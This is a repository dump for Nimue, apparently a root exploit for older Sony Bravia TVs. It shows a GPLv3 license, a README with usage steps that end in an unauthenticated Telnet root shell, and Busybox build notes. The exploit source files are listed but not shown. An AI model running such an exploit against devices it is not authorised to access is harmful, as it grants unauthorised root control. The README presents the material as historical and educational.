├── LICENSE ├── README.md ├── busybox ├── README └── config ├── nimue.py └── stage2 ├── build.sh ├── encoder.py └── stage2.S /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Nimue 2 | ===== 3 | 4 | Nimue is a simple Python script for jailbreaking Sony Bravia TVs. 5 | 6 | Intended audience 7 | ----------------- 8 | 9 | This is largely obsolete; shortly after this script was first published, Sony 10 | released firmware version `aa0206pf`, which was forcibly installed and closed 11 | the target service on the TV. 12 | 13 | To that end, this repository is kept largely for historical and educational 14 | reasons. However, should you have a TV that is affected, this script is useful 15 | in getting a root shell on the TV. 16 | 17 | Affected TVs 18 | ------------ 19 | 20 | Any Sony Bravia TV, which has not had a firmware update since 2012, and which 21 | has TCP port 12345 open, should be affected. 22 | 23 | How to use 24 | ---------- 25 | 26 | Download the repository to your local computer, and run the 'nimue.py' script 27 | under Python 2.7(!), passing as first argument the IP address of the TV on your 28 | local network that you wish to access. Note that the exploit opens other TCP 29 | connections; for best results, ensure no firewall between your computer and the 30 | TV. 31 | 32 | Once the exploit is done, you will be given a port to connect to on Telnet. 33 | Note that the Telnet service is not secured; it gives a root shell immediately. 34 | -------------------------------------------------------------------------------- /busybox/README: -------------------------------------------------------------------------------- 1 | Nimue uploads/runs Busybox, so you will need to compile a version of Busybox 2 | that supports the following: 3 | 4 | * mipsel architecture 5 | * GLibc / Linux kernel versions on your TV 6 | * nc 7 | * cp/mv 8 | * mount 9 | * mknod 10 | * telnetd 11 | * ash (standalone) 12 | 13 | My .config may be found in this directory if you need a baseline. 14 | -------------------------------------------------------------------------------- /busybox/config: -------------------------------------------------------------------------------- 1 | # 2 | # Automatically generated make config: don't edit 3 | # Busybox version: 1.20.1 4 | # Tue Jun 19 10:14:19 2012 5 | # 6 | CONFIG_HAVE_DOT_CONFIG=y 7 | 8 | # 9 | # Busybox Settings 10 | # 11 | 12 | # 13 | # General Configuration 14 | # 15 | CONFIG_DESKTOP=y 16 | # CONFIG_EXTRA_COMPAT is not set 17 | CONFIG_INCLUDE_SUSv2=y 18 | # CONFIG_USE_PORTABLE_CODE is not set 19 | CONFIG_PLATFORM_LINUX=y 20 | CONFIG_FEATURE_BUFFERS_USE_MALLOC=y 21 | # CONFIG_FEATURE_BUFFERS_GO_ON_STACK is not set 22 | # CONFIG_FEATURE_BUFFERS_GO_IN_BSS is not set 23 | CONFIG_SHOW_USAGE=y 24 | CONFIG_FEATURE_VERBOSE_USAGE=y 25 | CONFIG_FEATURE_COMPRESS_USAGE=y 26 | CONFIG_FEATURE_INSTALLER=y 27 | # CONFIG_INSTALL_NO_USR is not set 28 | # CONFIG_LOCALE_SUPPORT is not set 29 | CONFIG_UNICODE_SUPPORT=y 30 | # CONFIG_UNICODE_USING_LOCALE is not set 31 | # CONFIG_FEATURE_CHECK_UNICODE_IN_ENV is not set 32 | CONFIG_SUBST_WCHAR=63 33 | CONFIG_LAST_SUPPORTED_WCHAR=767 34 | # CONFIG_UNICODE_COMBINING_WCHARS is not set 35 | # CONFIG_UNICODE_WIDE_WCHARS is not set 36 | # CONFIG_UNICODE_BIDI_SUPPORT is not set 37 | # CONFIG_UNICODE_NEUTRAL_TABLE is not set 38 | # CONFIG_UNICODE_PRESERVE_BROKEN is not set 39 | CONFIG_LONG_OPTS=y 40 | CONFIG_FEATURE_DEVPTS=y 41 | # CONFIG_FEATURE_CLEAN_UP is not set 42 | # CONFIG_FEATURE_UTMP is not set 43 | # CONFIG_FEATURE_WTMP is not set 44 | CONFIG_FEATURE_PIDFILE=y 45 | CONFIG_FEATURE_SUID=y 46 | CONFIG_FEATURE_SUID_CONFIG=y 47 | CONFIG_FEATURE_SUID_CONFIG_QUIET=y 48 | # CONFIG_SELINUX is not set 49 | CONFIG_FEATURE_PREFER_APPLETS=y 50 | CONFIG_BUSYBOX_EXEC_PATH="/proc/self/exe" 51 | CONFIG_FEATURE_SYSLOG=y 52 | # CONFIG_FEATURE_HAVE_RPC is not set 53 | 54 | # 55 | # Build Options 56 | # 57 | # CONFIG_STATIC is not set 58 | # CONFIG_PIE is not set 59 | # CONFIG_NOMMU is not set 60 | # CONFIG_BUILD_LIBBUSYBOX is not set 61 | # CONFIG_FEATURE_INDIVIDUAL is not set 62 | # CONFIG_FEATURE_SHARED_BUSYBOX is not set 63 | CONFIG_LFS=y 64 | CONFIG_CROSS_COMPILER_PREFIX="mipsel-linux-" 65 | CONFIG_SYSROOT="" 66 | CONFIG_EXTRA_CFLAGS="" 67 | CONFIG_EXTRA_LDFLAGS="" 68 | CONFIG_EXTRA_LDLIBS="" 69 | 70 | # 71 | # 